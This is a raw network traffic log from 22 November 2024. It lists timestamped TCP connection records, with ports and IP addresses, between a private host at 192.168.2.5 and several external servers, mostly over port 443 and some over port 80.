Nov 22, 2024 23:06:19.652995110 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:19.653012991 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:19.653405905 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:19.658447981 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:19.658826113 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:19.658931017 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:19.699956894 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:19.703341961 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:19.792599916 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:19.792686939 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:19.797781944 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:19.797801018 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:19.798172951 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:19.840579987 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:19.998024940 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:19.998090982 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.001967907 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.001975060 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.002238989 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.029634953 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029666901 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029675961 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029689074 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029720068 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029721022 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.029747963 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.029782057 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.029808044 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.048338890 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.091339111 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.121778965 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:20.121992111 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:20.236957073 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:20.237129927 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.237162113 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.237200975 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.237216949 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.237246990 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.237266064 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.245758057 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:20.285370111 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.285404921 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.285451889 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.285465956 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.285494089 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.285507917 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.356794119 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:20.475136995 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.475166082 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.475209951 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.475224972 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.475260973 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.475279093 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.494736910 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.494765043 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.494856119 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.494867086 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.494904995 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.511749983 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.511778116 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.511816025 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.511823893 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.511868000 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.511888981 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.531089067 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.531117916 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.531158924 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.531172991 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.531184912 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.531214952 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.561255932 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.561404943 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.561527967 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.561544895 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.561556101 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.561561108 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.561597109 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.561602116 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.633563995 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.633609056 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.633708000 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.634057045 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:20.634080887 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:20.675504923 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.675533056 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.675586939 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.675601959 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.675630093 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.675654888 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.692558050 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.692584038 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.692636967 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.692646980 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.692703962 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.709635973 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.709656954 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.709729910 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.709741116 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.709784985 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.724767923 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.724795103 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.724828005 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.724836111 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.724864960 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.724884033 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.741931915 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.741961002 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.742022991 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.742037058 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.742088079 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.879828930 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.879856110 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.879957914 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.879957914 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.879973888 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.880127907 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.885917902 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.885982037 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.885998964 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.886013985 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.886101961 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.886101961 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.886146069 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.886158943 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.930313110 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.930351019 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.930427074 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944168091 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944171906 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944171906 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944185972 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944190025 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.944209099 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.944217920 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.944226027 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.944293976 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944336891 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.944336891 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945035934 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945043087 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.945077896 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945089102 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.945106983 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945204020 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945213079 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.945300102 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945312023 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:20.945439100 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:20.945450068 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:21.195662022 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:21.195740938 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:21.486140013 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:21.527333021 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.073664904 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.073775053 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.081228018 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081252098 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081260920 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081270933 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081299067 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081377029 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:22.081414938 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.081432104 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:22.081470013 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:22.101408005 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.101500034 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:22.101509094 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:22.101535082 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:22.149905920 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.149945021 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.150419950 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.162447929 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.207338095 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.602417946 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.602492094 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.602556944 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.641664982 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.641701937 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.641721010 CET	49730	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:22.641727924 CET	443	49730	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:22.753776073 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.756370068 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.778441906 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.779934883 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.779968977 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.780427933 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.780437946 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.786094904 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.786118031 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.813528061 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.814718008 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.814734936 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.815368891 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.815758944 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.815787077 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.816226959 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.816232920 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.824064016 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.831857920 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.831866980 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.832423925 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.832427025 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.855613947 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.860874891 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.860903025 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:22.861614943 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:22.861625910 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.202167988 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.202332973 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.202397108 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.204983950 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.205008984 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.205079079 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.205097914 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.205146074 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.210926056 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.210979939 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.211081028 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.226497889 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.226515055 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.226583958 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.226593971 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.227468014 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.227523088 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.269496918 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.269568920 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.269750118 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.271483898 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.271512985 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.271590948 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.271608114 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.271696091 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.274956942 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.275007963 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.275103092 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.323398113 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.323412895 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.323425055 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.323427916 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.323440075 CET	49734	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.323441982 CET	49733	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.323447943 CET	443	49734	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.323448896 CET	443	49733	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.324251890 CET	49732	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.324258089 CET	443	49732	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.326349974 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.326376915 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.326391935 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.326397896 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.340207100 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.340213060 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.340244055 CET	49735	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.340249062 CET	443	49735	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.507105112 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.507163048 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.507230997 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.526185036 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.526211023 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.594572067 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.594624996 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.594866037 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.622503996 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.622553110 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.622648954 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.623347044 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.623367071 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.627397060 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.627451897 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.627518892 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.627985954 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.628005981 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:23.665275097 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:23.665296078 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:24.186654091 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:24.186701059 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:24.186758041 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:24.242196083 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:24.242223978 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:24.312314987 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:24.312391996 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:24.312432051 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:24.312439919 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:25.263115883 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.415164948 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.424851894 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.467350960 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.467504978 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.467519999 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.501749992 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.533629894 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.533654928 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.536092043 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.536099911 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.537872076 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.537935019 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:25.538001060 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.538455009 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.538503885 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:25.538580894 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.538933992 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.538950920 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:25.539163113 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:25.539177895 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:25.539839029 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.539855003 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.540230036 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.540235043 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.540738106 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.540770054 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.541312933 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.541332960 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.546612024 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.548685074 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.548701048 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.552592039 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.552598000 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.909429073 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.909523010 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.909573078 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.928446054 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.928528070 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.928586960 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.930857897 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.930924892 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.930990934 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.964135885 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.964174032 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.964189053 CET	49738	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.964198112 CET	443	49738	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.971276045 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.971299887 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.971316099 CET	49739	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.971323013 CET	443	49739	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.971468925 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.971468925 CET	49741	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.971539974 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.971573114 CET	443	49741	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.975752115 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.977112055 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.977165937 CET	443	49751	13.107.246.63	192.168.2.5
